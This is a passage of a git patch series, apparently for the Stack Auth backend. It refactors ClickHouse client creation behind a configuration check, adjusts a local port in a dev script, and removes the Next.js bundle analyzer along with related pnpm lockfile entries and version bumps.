+    throw new StackAssertionError("ClickHouse is not configured");
+  }
   return createClient({
     url: clickhouseUrl,
     username: authType === "admin" ? clickhouseAdminUser : clickhouseExternalUser,
@@ -18,8 +30,13 @@ export function createClickhouseClient(authType: "admin" | "external", database?
   });
 }
 
-export const clickhouseAdminClient = createClickhouseClient("admin", clickhouseDefaultDatabase);
-export const clickhouseExternalClient = createClickhouseClient("external", clickhouseDefaultDatabase);
+export function getClickhouseAdminClient() {
+  return createClickhouseClient("admin", clickhouseDefaultDatabase);
+}
+
+export function getClickhouseExternalClient() {
+  return createClickhouseClient("external", clickhouseDefaultDatabase);
+}
 
 export const getQueryTimingStats = async (client: ClickHouseClient, queryId: string) => {
   // Flush logs to ensure system.query_log has latest query result.
@@ -58,4 +75,3 @@ export const getQueryTimingStats = async (client: ClickHouseClient, queryId: str
   }
   return stats.data[0];
 };
-
diff --git a/apps/backend/src/lib/events.tsx b/apps/backend/src/lib/events.tsx
index 08dca85555..d79c1ca2fe 100644
--- a/apps/backend/src/lib/events.tsx
+++ b/apps/backend/src/lib/events.tsx
@@ -9,7 +9,7 @@ import { filterUndefined, typedKeys } from "@stackframe/stack-shared/dist/utils/
 import { UnionToIntersection } from "@stackframe/stack-shared/dist/utils/types";
 import { generateUuid } from "@stackframe/stack-shared/dist/utils/uuids";
 import * as yup from "yup";
-import { clickhouseAdminClient } from "./clickhouse";
+import { getClickhouseAdminClient, isClickhouseConfigured } from "./clickhouse";
 import { getEndUserInfo } from "./end-users";
 import { DEFAULT_BRANCH_ID } from "./tenancies";
 
@@ -195,26 +195,28 @@ export async function logEvent<T extends EventType[]>(
       },
     });
 
-    const clickhouseClient = clickhouseAdminClient;
-    await clickhouseClient.insert({
-      table: "analytics_internal.events",
-      values: eventTypesArray.map(eventType => ({
-        event_type: eventType.id,
-        event_at: timeRange.end,
-        data: clickhouseEventData,
-        project_id: projectId,
-        branch_id: branchId,
-        user_id: userId,
-        team_id: teamId,
-        is_anonymous: isAnonymous,
-        session_id: sessionId,
-      })),
-      format: "JSONEachRow",
-      clickhouse_settings: {
-        date_time_input_format: "best_effort",
-        async_insert: 1,
-      },
-    });
+    if (isClickhouseConfigured()) {
+      const clickhouseClient = getClickhouseAdminClient();
+      await clickhouseClient.insert({
+        table: "analytics_internal.events",
+        values: eventTypesArray.map(eventType => ({
+          event_type: eventType.id,
+          event_at: timeRange.end,
+          data: clickhouseEventData,
+          project_id: projectId,
+          branch_id: branchId,
+          user_id: userId,
+          team_id: teamId,
+          is_anonymous: isAnonymous,
+          session_id: sessionId,
+        })),
+        format: "JSONEachRow",
+        clickhouse_settings: {
+          date_time_input_format: "best_effort",
+          async_insert: 1,
+        },
+      });
+    }
 
     // log event in PostHog
     if (getNodeEnvironment().includes("production") && !getEnvVariable("CI", "")) {

From b9d72b0e9ae435fd2e530ec4a82f58e698f56fdc Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 21 Jan 2026 14:21:47 -0800
Subject: [PATCH 21/25] small fix

---
 apps/backend/package.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apps/backend/package.json b/apps/backend/package.json
index 976dca9396..9822e42c98 100644
--- a/apps/backend/package.json
+++ b/apps/backend/package.json
@@ -25,7 +25,7 @@
     "codegen": "pnpm run with-env pnpm run generate-migration-imports && pnpm run with-env bash -c 'if [ \"$STACK_ACCELERATE_ENABLED\" = \"true\" ]; then pnpm run prisma generate --no-engine; else pnpm run codegen-prisma; fi' && pnpm run codegen-docs && pnpm run codegen-route-info",
     "codegen:watch": "concurrently -n \"prisma,docs,route-info,migration-imports\" -k \"pnpm run codegen-prisma:watch\" \"pnpm run codegen-docs:watch\" \"pnpm run codegen-route-info:watch\" \"pnpm run generate-migration-imports:watch\"",
     "psql-inner": "psql $(echo $STACK_DATABASE_CONNECTION_STRING | sed 's/\\?.*$//')",
-    "clickhouse": "pnpm run with-env clickhouse-client --host localhost --port ${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33 --user stackframe --password PASSWORD-PLACEHOLDER--9gKyMxJeMx",
+    "clickhouse": "pnpm run with-env clickhouse-client --host localhost --port ${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}37 --user stackframe --password PASSWORD-PLACEHOLDER--9gKyMxJeMx",
     "psql": "pnpm run with-env:dev pnpm run psql-inner",
     "prisma-studio": "pnpm run with-env:dev prisma studio --port ${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}06 --browser none",
     "prisma:dev": "pnpm run with-env:dev prisma",

From 14c70ef3d20007a2bf28984854d6b792b057a1bc Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Tue, 27 Jan 2026 13:52:54 -0800
Subject: [PATCH 22/25] remove analyzer

---
 apps/backend/package.json |   1 -
 pnpm-lock.yaml            | 146 ++++++--------------------------------
 2 files changed, 23 insertions(+), 124 deletions(-)

diff --git a/apps/backend/package.json b/apps/backend/package.json
index 5f7c4a047a..0984c92bbf 100644
--- a/apps/backend/package.json
+++ b/apps/backend/package.json
@@ -52,7 +52,6 @@
     "@ai-sdk/openai": "^1.3.23",
     "@aws-sdk/client-s3": "^3.855.0",
     "@clickhouse/client": "^1.14.0",
-    "@next/bundle-analyzer": "16.0.10",
     "@node-oauth/oauth2-server": "^5.1.0",
     "@opentelemetry/api": "^1.9.0",
     "@opentelemetry/api-logs": "^0.53.0",
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 186821cffa..8346aa189f 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -117,9 +117,6 @@ importers:
       '@clickhouse/client':
         specifier: ^1.14.0
         version: 1.14.0
-      '@next/bundle-analyzer':
-        specifier: 16.0.10
-        version: 16.0.10
       '@node-oauth/oauth2-server':
         specifier: ^5.1.0
         version: 5.1.0
@@ -2953,10 +2950,6 @@ packages:
   '@date-fns/tz@1.2.0':
     resolution: {integrity: sha512-LBrd7MiJZ9McsOgxqWX7AaxrDjcFVjWH/tIKJd7pnR7McaslGYOP1QmmiBXdJH/H/yLCT+rcQ7FaPBUxRGUtrg==}
 
-  '@discoveryjs/json-ext@0.5.7':
-    resolution: {integrity: sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==}
-    engines: {node: '>=10.0.0'}
-
   '@dnd-kit/accessibility@3.1.1':
     resolution: {integrity: sha512-2P+YgaXF+gRsIihwwY1gCsQSYnu9Zyj2py8kY5fFvUM1qm2WA2u639R6YNVfU4GWr+ZM5mqEsfHZZLoRONbemw==}
     peerDependencies:
@@ -4729,9 +4722,6 @@ packages:
     resolution: {integrity: sha512-O6yC5TT0jbw86VZVkmnzCZJB0hfxBl0JJz6f+3KHoZabjb/X08r9eFA+vuY06z1/qaovykvdkrXYq3SPUuvogA==}
     engines: {node: '>=19.0.0'}
 
-  '@next/bundle-analyzer@16.0.10':
-    resolution: {integrity: sha512-AHA6ZomhQuRsJtkoRvsq+hIuwA6F26mQzQT8ICcc2dL3BvHRcWOA+EiFr+BgWFY++EE957xVDqMIJjLApyxnwA==}
-
   '@next/env@14.2.35':
     resolution: {integrity: sha512-DuhvCtj4t9Gwrx80dmz2F4t/zKQ4ktN8WrMwOuVzkJfBilwAwGr6v16M5eI8yCuZ63H9TTuEU09Iu2HqkzFPVQ==}
 
@@ -5677,9 +5667,6 @@ packages:
     resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==}
     engines: {node: '>=14'}
 
-  '@polka/url@1.0.0-next.29':
-    resolution: {integrity: sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==}
-
   '@prisma/adapter-neon@7.1.0':
     resolution: {integrity: sha512-gxxNjkFEyM9rSOCD5uBnvFabusIgcPpZFsvSVSvXJvhxr+/e1H90HJvZQYQJQFSYr6Datu2B9pZIvTdbSztSfg==}
 
@@ -10262,9 +10249,6 @@ packages:
   dayjs@1.11.13:
     resolution: {integrity: sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==}
 
-  debounce@1.2.1:
-    resolution: {integrity: sha512-XRRe6Glud4rd/ZGQfiV1ruXSfbvfJedlV9Y6zOlP+2K04vBYiJEte6stfFkCP03aMnY5tsipamumUjL14fofug==}
-
   debug@2.6.9:
     resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==}
     peerDependencies:
@@ -10528,9 +10512,6 @@ packages:
     resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==}
     engines: {node: '>= 0.4'}
 
-  duplexer@0.1.2:
-    resolution: {integrity: sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==}
-
   earcut@3.0.0:
     resolution: {integrity: sha512-41Fs7Q/PLq1SDbqjsgcY7GA42T0jvaCNGXgGtsNdvg+Yv8eIu06bxv4/PoREkZ9nMDNwnUSG9OFB9+yv8eKhDg==}
 
@@ -11623,10 +11604,6 @@ packages:
   gulp-sort@2.0.0:
     resolution: {integrity: sha512-MyTel3FXOdh1qhw1yKhpimQrAmur9q1X0ZigLmCOxouQD+BD3za9/89O+HfbgBQvvh4igEbp0/PUWO+VqGYG1g==}
 
-  gzip-size@6.0.0:
-    resolution: {integrity: sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==}
-    engines: {node: '>=10'}
-
   h3-js@4.1.0:
     resolution: {integrity: sha512-LQhmMl1dRQQjMXPzJc7MpZ/CqPOWWuAvVEoVJM9n/s7vHypj+c3Pd5rLQCkAsOgAoAYKbNCsYFE++LF7MvSfCQ==}
     engines: {node: '>=4', npm: '>=3', yarn: '>=1.3.0'}
@@ -11732,9 +11709,6 @@ packages:
     resolution: {integrity: sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==}
     engines: {node: '>=18'}
 
-  html-escaper@2.0.2:
-    resolution: {integrity: sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==}
-
   html-to-text@9.0.5:
     resolution: {integrity: sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==}
     engines: {node: '>=14'}
@@ -12081,10 +12055,6 @@ packages:
     resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==}
     engines: {node: '>=12'}
 
-  is-plain-object@5.0.0:
-    resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==}
-    engines: {node: '>=0.10.0'}
-
   is-port-reachable@4.0.0:
     resolution: {integrity: sha512-9UoipoxYmSk6Xy7QFgRv2HDyaysmgSG75TFQs6S+3pDM7ZhKTF/bskZV+0UlABHzKjNVhPjYCLfeZUEg1wXxig==}
     engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
@@ -13010,10 +12980,6 @@ packages:
     resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==}
     engines: {node: '>=4'}
 
-  mrmime@2.0.1:
-    resolution: {integrity: sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==}
-    engines: {node: '>=10'}
-
   ms@2.0.0:
     resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==}
 
@@ -13363,10 +13329,6 @@ packages:
   openapi-sampler@1.6.2:
     resolution: {integrity: sha512-NyKGiFKfSWAZr4srD/5WDhInOWDhfml32h/FKUqLpEwKJt0kG0LGUU0MdyNkKrVGuJnw6DuPWq/sHCwAMpiRxg==}
 
-  opener@1.5.2:
-    resolution: {integrity: sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==}
-    hasBin: true
-
   openid-client@5.6.4:
     resolution: {integrity: sha512-T1h3B10BRPKfcObdBklX639tVz+xh34O7GjofqrqiAQdm7eHsQ00ih18x6wuJ/E6FxdtS2u3FmUGPDeEcMwzNA==}
 
@@ -14722,10 +14684,6 @@ packages:
   simplesignal@2.1.7:
     resolution: {integrity: sha512-PEo2qWpUke7IMhlqiBxrulIFvhJRLkl1ih52Rwa+bPjzhJepcd4GIjn2RiQmFSx3dQvsEAgF0/lXMwMN7vODaA==}
 
-  sirv@2.0.4:
-    resolution: {integrity: sha512-94Bdh3cC2PKrbgSOUqTiGPWVZeSiXfKOVZNJniWoqrWrRkB1CJzBU3NEbiTsPcYy1lDsANA/THzS+9WBiy5nfQ==}
-    engines: {node: '>= 10'}
-
   slash@3.0.0:
     resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==}
     engines: {node: '>=8'}
@@ -15220,10 +15178,6 @@ packages:
   toposort@2.0.2:
     resolution: {integrity: sha512-0a5EOkAUp8D4moMi2W8ZF8jcga7BgZd91O/yabJCFY8az+XSzeGyTKs0Aoo897iV1Nj6guFq8orWDS96z91oGg==}
 
-  totalist@3.0.1:
-    resolution: {integrity: sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==}
-    engines: {node: '>=6'}
-
   tough-cookie@4.1.4:
     resolution: {integrity: sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==}
     engines: {node: '>=6'}
@@ -15906,11 +15860,6 @@ packages:
     resolution: {integrity: sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==}
     engines: {node: '>=12'}
 
-  webpack-bundle-analyzer@4.10.1:
-    resolution: {integrity: sha512-s3P7pgexgT/HTUSYgxJyn28A+99mmLq4HsJepMPzu0R8ImJc52QNqaFYW1Z2z2uIb1/J3eYgaAWVpaC+v/1aAQ==}
-    engines: {node: '>= 10.13.0'}
-    hasBin: true
-
   webpack-sources@3.2.3:
     resolution: {integrity: sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==}
     engines: {node: '>=10.13.0'}
@@ -16022,18 +15971,6 @@ packages:
   wrappy@1.0.2:
     resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
 
-  ws@7.5.10:
-    resolution: {integrity: sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==}
-    engines: {node: '>=8.3.0'}
-    peerDependencies:
-      bufferutil: ^4.0.1
-      utf-8-validate: ^5.0.2
-    peerDependenciesMeta:
-      bufferutil:
-        optional: true
-      utf-8-validate:
-        optional: true
-
   ws@8.18.0:
     resolution: {integrity: sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==}
     engines: {node: '>=10.0.0'}
@@ -17789,8 +17726,6 @@ snapshots:
 
   '@date-fns/tz@1.2.0': {}
 
-  '@discoveryjs/json-ext@0.5.7': {}
-
   '@dnd-kit/accessibility@3.1.1(react@19.2.3)':
     dependencies:
       react: 19.2.3
@@ -19115,13 +19050,6 @@ snapshots:
       '@types/node': 22.19.0
       '@types/pg': 8.16.0
 
-  '@next/bundle-analyzer@16.0.10':
-    dependencies:
-      webpack-bundle-analyzer: 4.10.1
-    transitivePeerDependencies:
-      - bufferutil
-      - utf-8-validate
-
   '@next/env@14.2.35': {}
 
   '@next/env@15.5.10': {}
@@ -20322,8 +20250,6 @@ snapshots:
   '@pkgjs/parseargs@0.11.0':
     optional: true
 
-  '@polka/url@1.0.0-next.29': {}
-
   '@prisma/adapter-neon@7.1.0':
     dependencies:
       '@neondatabase/serverless': 1.0.1
@@ -26616,8 +26542,6 @@ snapshots:
 
   dayjs@1.11.13: {}
 
-  debounce@1.2.1: {}
-
   debug@2.6.9:
     dependencies:
       ms: 2.0.0
@@ -26813,8 +26737,6 @@ snapshots:
       es-errors: 1.3.0
       gopd: 1.2.0
 
-  duplexer@0.1.2: {}
-
   earcut@3.0.0: {}
 
   eastasianwidth@0.2.0: {}
@@ -27315,7 +27237,7 @@ snapshots:
       '@typescript-eslint/parser': 6.21.0(eslint@8.30.0)(typescript@5.3.3)
       eslint: 8.30.0
       eslint-import-resolver-node: 0.3.9
-      eslint-import-resolver-typescript: 3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0)(eslint@8.30.0)
+      eslint-import-resolver-typescript: 3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint@8.30.0))(eslint@8.30.0)
       eslint-plugin-import: 2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
       eslint-plugin-jsx-a11y: 6.10.2(eslint@8.30.0)
       eslint-plugin-react: 7.37.2(eslint@8.30.0)
@@ -27372,6 +27294,25 @@ snapshots:
       - eslint-import-resolver-webpack
       - supports-color
 
+  eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint@8.30.0))(eslint@8.30.0):
+    dependencies:
+      '@nolyfill/is-core-module': 1.0.39
+      debug: 4.4.0
+      enhanced-resolve: 5.17.1
+      eslint: 8.30.0
+      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
+      fast-glob: 3.3.3
+      get-tsconfig: 4.8.1
+      is-bun-module: 1.2.1
+      is-glob: 4.0.3
+    optionalDependencies:
+      eslint-plugin-import: 2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
+    transitivePeerDependencies:
+      - '@typescript-eslint/parser'
+      - eslint-import-resolver-node
+      - eslint-import-resolver-webpack
+      - supports-color
+
   eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0)(eslint@8.30.0):
     dependencies:
       '@nolyfill/is-core-module': 1.0.39
@@ -27397,7 +27338,7 @@ snapshots:
       debug: 4.4.0
       enhanced-resolve: 5.17.1
       eslint: 8.30.0
-      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0)
+      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
       fast-glob: 3.3.3
       get-tsconfig: 4.8.1
       is-bun-module: 1.2.1
@@ -27442,7 +27383,7 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  eslint-module-utils@2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0):
+  eslint-module-utils@2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0):
     dependencies:
       debug: 3.2.7
     optionalDependencies:
@@ -27557,7 +27498,7 @@ snapshots:
       doctrine: 2.1.0
       eslint: 8.30.0
       eslint-import-resolver-node: 0.3.9
-      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0)
+      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
       hasown: 2.0.2
       is-core-module: 2.15.1
       is-glob: 4.0.3
@@ -28688,10 +28629,6 @@ snapshots:
     dependencies:
       through2: 2.0.5
 
-  gzip-size@6.0.0:
-    dependencies:
-      duplexer: 0.1.2
-
   h3-js@4.1.0: {}
 
   hachure-fill@0.5.2: {}
@@ -28844,8 +28781,6 @@ snapshots:
     dependencies:
       whatwg-encoding: 3.1.1
 
-  html-escaper@2.0.2: {}
-
   html-to-text@9.0.5:
     dependencies:
       '@selderee/plugin-htmlparser2': 0.11.0
@@ -29216,8 +29151,6 @@ snapshots:
 
   is-plain-obj@4.1.0: {}
 
-  is-plain-object@5.0.0: {}
-
   is-port-reachable@4.0.0: {}
 
   is-potential-custom-element-name@1.0.1: {}
@@ -30365,8 +30298,6 @@ snapshots:
 
   mri@1.2.0: {}
 
-  mrmime@2.0.1: {}
-
   ms@2.0.0: {}
 
   ms@2.1.2: {}
@@ -30868,8 +30799,6 @@ snapshots:
       fast-xml-parser: 4.5.3
       json-pointer: 0.6.2
 
-  opener@1.5.2: {}
-
   openid-client@5.6.4(patch_hash=99fe6a7ee65b97d4c75e472c3dcd68a31f62ffdfa047dae014a4b6ecaf0d3fe3):
     dependencies:
       jose: 4.15.5
@@ -32654,12 +32583,6 @@ snapshots:
 
   simplesignal@2.1.7: {}
 
-  sirv@2.0.4:
-    dependencies:
-      '@polka/url': 1.0.0-next.29
-      mrmime: 2.0.1
-      totalist: 3.0.1
-
   slash@3.0.0: {}
 
   sonner@1.7.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1):
@@ -33292,8 +33215,6 @@ snapshots:
 
   toposort@2.0.2: {}
 
-  totalist@3.0.1: {}
-
   tough-cookie@4.1.4:
     dependencies:
       psl: 1.9.0
@@ -34146,25 +34067,6 @@ snapshots:
 
   webidl-conversions@7.0.0: {}
 
-  webpack-bundle-analyzer@4.10.1:
-    dependencies:
-      '@discoveryjs/json-ext': 0.5.7
-      acorn: 8.15.0
-      acorn-walk: 8.3.4
-      commander: 7.2.0
-      debounce: 1.2.1
-      escape-string-regexp: 4.0.0
-      gzip-size: 6.0.0
-      html-escaper: 2.0.2
-      is-plain-object: 5.0.0
-      opener: 1.5.2
-      picocolors: 1.1.1
-      sirv: 2.0.4
-      ws: 7.5.10
-    transitivePeerDependencies:
-      - bufferutil
-      - utf-8-validate
-
   webpack-sources@3.2.3: {}
 
   webpack-sources@3.3.3: {}
@@ -34319,8 +34221,6 @@ snapshots:
 
   wrappy@1.0.2: {}
 
-  ws@7.5.10: {}
-
   ws@8.18.0: {}
 
   ws@8.18.3: {}

From 55fa59766a64319e7b22c8f880a85e61408127d4 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Tue, 27 Jan 2026 14:25:57 -0800
Subject: [PATCH 23/25] pnpm lock file

---
 pnpm-lock.yaml | 151 +++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 120 insertions(+), 31 deletions(-)

diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 8346aa189f..2fbe232309 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -116,7 +116,7 @@ importers:
         version: 3.864.0
       '@clickhouse/client':
         specifier: ^1.14.0
-        version: 1.14.0
+        version: 1.16.0
       '@node-oauth/oauth2-server':
         specifier: ^5.1.0
         version: 5.1.0
@@ -2940,11 +2940,11 @@ packages:
   '@chevrotain/utils@11.0.3':
     resolution: {integrity: sha512-YslZMgtJUyuMbZ+aKvfF3x1f5liK4mWNxghFRv7jqRR9C3R3fAOGTTKvxXDa2Y1s9zSbcpuO0cAxDYsc9SrXoQ==}
 
-  '@clickhouse/client-common@1.14.0':
-    resolution: {integrity: sha512-CyUcv2iCkZ1A++vmOSufYRpHR3aAWVfbrWed7ATzf0yyx/BW/2SEqlL07vBpSRa3BIkQe/DSOHVv8JkWZpUOwQ==}
+  '@clickhouse/client-common@1.16.0':
+    resolution: {integrity: sha512-qMzkI1NmV29ZjFkNpVSvGNfA0c7sCExlufAQMv+V+5xtNeYXnRfdqzmBLIQoq6Pf1ij0kw/wGLD3HQrl7pTFLA==}
 
-  '@clickhouse/client@1.14.0':
-    resolution: {integrity: sha512-co2spjR7wZoZ3Ck0H/jv76bpiuO3oJHtOmq9/gxFiod2DcT9NFg01u/hXcG8MJFnEJuMB6e3vGqS6IOnLwHqRw==}
+  '@clickhouse/client@1.16.0':
+    resolution: {integrity: sha512-ThPhoRMsKsf/hmBEgWlUsGxFecsr3i+k3JI8JV0Od7UpH2BSmk9VKMGJoyPCrTL0vPUs5rJH+7o4iCqBF09Xvg==}
     engines: {node: '>=16'}
 
   '@date-fns/tz@1.2.0':
@@ -4755,6 +4755,12 @@ packages:
     cpu: [arm64]
     os: [darwin]
 
+  '@next/swc-darwin-arm64@16.1.5':
+    resolution: {integrity: sha512-eK7Wdm3Hjy/SCL7TevlH0C9chrpeOYWx2iR7guJDaz4zEQKWcS1IMVfMb9UKBFMg1XgzcPTYPIp1Vcpukkjg6Q==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [darwin]
+
   '@next/swc-darwin-x64@14.2.33':
     resolution: {integrity: sha512-8HGBeAE5rX3jzKvF593XTTFg3gxeU4f+UWnswa6JPhzaR6+zblO5+fjltJWIZc4aUalqTclvN2QtTC37LxvZAA==}
     engines: {node: '>= 10'}
@@ -4767,6 +4773,12 @@ packages:
     cpu: [x64]
     os: [darwin]
 
+  '@next/swc-darwin-x64@16.1.5':
+    resolution: {integrity: sha512-foQscSHD1dCuxBmGkbIr6ScAUF6pRoDZP6czajyvmXPAOFNnQUJu2Os1SGELODjKp/ULa4fulnBWoHV3XdPLfA==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [darwin]
+
   '@next/swc-linux-arm64-gnu@14.2.33':
     resolution: {integrity: sha512-JXMBka6lNNmqbkvcTtaX8Gu5by9547bukHQvPoLe9VRBx1gHwzf5tdt4AaezW85HAB3pikcvyqBToRTDA4DeLw==}
     engines: {node: '>= 10'}
@@ -4781,6 +4793,13 @@ packages:
     os: [linux]
     libc: [glibc]
 
+  '@next/swc-linux-arm64-gnu@16.1.5':
+    resolution: {integrity: sha512-qNIb42o3C02ccIeSeKjacF3HXotGsxh/FMk/rSRmCzOVMtoWH88odn2uZqF8RLsSUWHcAqTgYmPD3pZ03L9ZAA==}
